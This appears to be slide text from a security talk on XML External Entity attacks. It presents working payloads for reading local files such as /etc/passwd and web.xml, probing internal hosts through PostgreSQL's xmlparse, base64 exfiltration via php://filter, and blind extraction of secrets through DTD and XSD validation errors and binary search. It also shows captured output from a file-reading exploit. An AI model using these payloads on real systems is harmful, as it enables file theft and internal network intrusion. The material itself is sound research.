2. Author bio
@d0znpp, d0znpp@onsec.ru
•Have engaged in research in the field of web
application security (since 2004);
•Founder and security expert of ONsec
company (since 2009);
•Now days: development of self-learning
systems for the detection of attacks on web
applications and heuristic analysis.
3. MS network under attack
• Trusted domain
• Same Origin Policy on trusted domain
• Local network area
• Security policy
• Bypass “no-proxy for local addresses”
• Profit
5. Good morning. Wake up, 0day
PostgreSQL all versions (8.4.11 debian
4.4.5-8 tested)
xmlparse(document ‘<!DOCTYPE c [ <!
ENTITY a SYSTEM
"http://172.28.202.20/">]><c>&a</c>');
6. Good morning. Wake up, 0day
PostgreSQL all versions (8.4.11 debian
4.4.5-8 tested)
No way to read content from entity, but…
ERROR: invalid XML document
ПОДРОБНО: http://172.28.202.20/:1: parser error : StartTag: invalid element name
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/
TR/x
^
http://172.28.202.20/:139: parser error : AttValue: " or ' expected
<img src='http://seclog.ru/main/logo.php' width=0 height=0/>
7. XXE basics
Parser bug (feature)
•To read local files
•To make DoS (by reading /dev/zero loops)
<?xml encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM
'/etc/paswd'> ]>
<a>&e;</a>
8. XXE applications
• Local files
• Internel network resources
• Port scan (http://192.168.0.1:22/)
• MS Windows network resources (adC$)
• Wrappers (ldap:// in perl, expect:// ssh2://
etc.)
9. Classic XXE vuln
• Based on web application error messages,
such as:
“Unknown language DATA”
“Login DATA are not valid”
“Password for user DATA does not match”
• Could not provide reading of files with non-
valid characters, such as 0x02 < > etc.
10. Vuln which won a “Month of Yandex
bugs hunting“ contest
$ ./xxe-direct.pl --file=“/etc/passwd”
<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:namesp2="http://namespaces.soaplite.com/perl"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-
ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:namesp84="http://xml.apache.org/xml-soap"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:
Body>
<SOAP-ENV:Fault><faultcode xsi:type="xsd:string">SOAP-
ENV:511</faultcode><faultstring xsi:type="xsd:string">Unknown
language</faultstring><detail xsi:type="xsd:string">Unknown language
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
11. What is wrong?
• Webapp may not display error messages
• You may want to get XML file contents in
Java
Interesting XMLs:
•web.xml
•tomcat-users.xml
•jetty.xml
•http.conf (malformed)
12. PHP way to read anything
• PHP wrapper provide a filter functional
php://filter/convert.base64-
encode/resource=web.xml
• Then need to display an error messages
too
13. What is blind?
• Use DTD and XSD validations
• Get a validation result (status or errors)
• Use bruteforce, regexp, binary search and
error message information (error-based) to
read external XML structure and data
14. DTD based attack formula
XMLinp = DTDint + XMLint + XMLext
V(XMLinp,DTDint)=V(XMLint,DTDint) && V(XMLext,DTDint)
XMLinp – input XML stream
DTDint – internal DTD schema
XMLint - internal XML structure
XMLext – external XML (XML to read)
V(xml,schema) – validation function, which returned
a validation status (error message or boolean)
15. DTD based attack: from idea to
schema
<?xml version=“1.0” ?>
<?xml version=“1.0”?> <!ENTITY ext SYSTEM “web.xml”>
<secret> <!ELEMENT root (secret+)>
<any> <!ELEMENT secret (any+)>
data <!ELEMENT any (#PCDATA)>
</any> XML validation error
</secret> <root>
&ext;
<secret><any>data</any></secret>
</root>
Web.xml
Input.xml
16. Example #1. Read attribute value
<!ATTLIST key
id (a|b) #REQUIRED >
<key id=“secret”></key>
Value "secret" for attribute id of mountain is
not among the enumerated set in //LibXML
Attribute "key" with value "secret" must have
a value from the list "a b ". //Xerces
17. Example #2. Brute external XML tag
<!ENTITY a SYSTEM "web.xml">
<!ELEMENT ext(root+)>
]>
<ext>&a;</ext>
-- > OK
<!ENTITY a SYSTEM "web.xml">
<!ELEMENT ext(foobar+)>
]>
<ext>&a;</ext>
-- > Element ext content does not follow the DTD,
expecting (root)+, got (CDATA ) //LibXML PHP
18. Example #3.Read external XML(Java)
factory.setValidating(true);//SAXParserFactory or
DocumentBuilderFactory
<!DOCTYPE root [
<!ELEMENT root (foo+)>
<!ENTITY a SYSTEM ’web.xml'>
]>
<root>
&a;
</root>
Element type ”bar" must be declared.
Where is “bar” tag? “Bar” in web.xml!
19. Problems of DTD based attacks
• Example #3 doesn’t work in LibXML PHP ;(
Only first tag name can be readed (Example #2)
from DOM object in PHP (library’s bug).
• DTD can’t be used to determine tag values (only
tag names, document structure and attribute
values)
• Bruteforce required if errors are not displayed
• Malformed XML such as http.conf can’t be readed
20. XSD based attack formula
XMLinp = DTDinp + XSDinp + XMLint + XMLext
V(XMLinp,DTDinp,XSDinp) = V(XMLint,DTDinp,XSDinp) &&
V(XMLext,DTDinp,XSDinp)
XMLinp – input XML stream
DTDinp – input DTD schema
XSDinp –input XSD schema
XMLint - internal XML structure
XMLext – external XML (XML to read)
V(xml,dtd,xsd) – validation function, which returned a
validation status (error message or boolean)
21. XSD based attack: from idea to
schema
<?xml version=“1.0” ?>
<?xml version=“1.0”?>
<!ENTITY ext SYSTEM “web.xml”>
<secret>
<root
<any>
xsi:noNamespaceSchemaLocation =
data
”http://myhost/int.xsd”>
</any> XML validation error
</secret>
&ext;
<secret><any>data</any></secret>
</root>
Web.xml
Input.xml
22. Example #4. Read tag values (XSD)
parser.setProperty("http://java.sun.com/xml/jaxp/pr
operties/schemaLanguage","http://www.w3.org/2001
/XMLSchema");
//SAXParserFactory or DocumentBuilderFactory
<!ENTITY ext SYSTEM “web.xml”>
<contacts
xsi:noNamespaceSchemaLocation=”int.xsd”>
<xs:element name=”password" type="xs:int"/>
cvc-datatype-valid.1.2.1: ’Secret' is not a valid value for 'integer'.
cvc-type.3.1.3: The value ’Secret' of element ’password' is not valid.
//Xerces
24. Faster binary search
• Phonetic chains
• Probability with which one letter follows another
one
• Based of phonetics features of languages
• Can be used to make text reading by binary
search faster
http://exploit-db.com/papers/13969/
25. Example #5. Binary search for tag
value (XSD)
<xs:element name="password" type="PWD"/>
…
<xs:simpleType name=”PWD">
<xs:restriction base="xs:token">
<xs:pattern value=”[a-m]{1}[a-z]+"/>
</xs:restriction>
</xs:simpleType>
If first character of password tag value between “a”
and “m” validation will true, else – false
26. And what about attacks without
validation status?
• Use something like time-based attacks!
• XSD parser validate all tags even else some of
them already not valid
• Parser != Interpreter
• What we can do in that case?
27. Example #6. 2blind attacks
<xs:element name=”secret">
<xs:complexType>
<xs:choice>
<xs:group ref=”conditionGrp"/>
<xs:group ref=”highloadGrp"/>
</xs:choice>
</xs:complexType>
</xs:element>
If value of secret tag approach to conditionGrp
parser doesn’t execute regexp from highloadGrp.
Then you should do highloadGrp regexp really
difficult ;)
28. Problems of XSD based attacks
• Internal XSD validation is rare in a wild
• Only 4% of all webapps with XXE vulns make
that*
• Could not be used to read malformed XML, such
as httpd.conf
* By our stats from security audits since 2009